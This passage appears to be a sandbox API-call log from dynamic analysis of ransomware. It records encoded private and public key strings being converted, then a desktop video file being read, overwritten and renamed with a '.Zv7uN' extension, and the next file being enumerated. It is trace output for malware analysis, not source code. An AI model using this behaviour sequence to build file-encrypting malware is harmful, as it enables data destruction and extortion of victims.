w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.763] GetCurrentThreadId () returned 0xa30 [0126.763] GetCurrentThreadId () returned 0xa30 [0126.763] GetCurrentThreadId () returned 0xa30 [0126.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.764] GetCurrentThreadId () returned 0xa30 [0126.764] GetCurrentThreadId () returned 0xa30 [0126.764] GetCurrentThreadId () returned 0xa30 [0126.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BbAbN3g2HP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bbabn3g2hp.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.764] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.764] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.765] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xc645 [0126.765] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.765] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0xc645, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0xc645, lpOverlapped=0x0) returned 1 [0126.767] CloseHandle (hObject=0x120) returned 1 [0126.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BbAbN3g2HP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bbabn3g2hp.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.772] WriteFile (in: hFile=0x120, lpBuffer=0x1f06fa0*, nNumberOfBytesToWrite=0xc645, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f06fa0*, lpNumberOfBytesWritten=0x18f978*=0xc645, lpOverlapped=0x0) returned 1 [0126.776] CloseHandle (hObject=0x120) returned 1 [0126.778] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BbAbN3g2HP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bbabn3g2hp.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BbAbN3g2HP.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bbabn3g2hp.mkv.zv7un")) returned 1 [0126.780] GetCurrentThreadId () returned 0xa30 [0126.780] GetCurrentThreadId () returned 0xa30 [0126.780] GetCurrentThreadId () returned 0xa30 [0126.780] GetCurrentThreadId () returned 0xa30 [0126.781] GetCurrentThreadId () returned 0xa30 [0126.781] GetCurrentThreadId () returned 0xa30 [0126.781] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb977a410, ftCreationTime.dwHighDateTime=0x1d5deaa, ftLastAccessTime.dwLowDateTime=0x725aa3b0, ftLastAccessTime.dwHighDateTime=0x1d5d825, ftLastWriteTime.dwLowDateTime=0x725aa3b0, ftLastWriteTime.dwHighDateTime=0x1d5d825, nFileSizeHigh=0x0, nFileSizeLow=0x15449, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="D1JRmpQ7-5.png", cAlternateFileName="D1JRMP~1.PNG")) returned 1 [0126.781] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.781] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D1JRmpQ7-5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d1jrmpq7-5.png"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb977a410, ftCreationTime.dwHighDateTime=0x1d5deaa, ftLastAccessTime.dwLowDateTime=0x725aa3b0, ftLastAccessTime.dwHighDateTime=0x1d5d825, ftLastWriteTime.dwLowDateTime=0x725aa3b0, ftLastWriteTime.dwHighDateTime=0x1d5d825, nFileSizeHigh=0x0, nFileSizeLow=0x15449)) returned 1 [0126.781] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D1JRmpQ7-5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d1jrmpq7-5.png")) returned 0x20 [0126.781] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D1JRmpQ7-5.png", dwFileAttributes=0x80) returned 1 [0126.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbC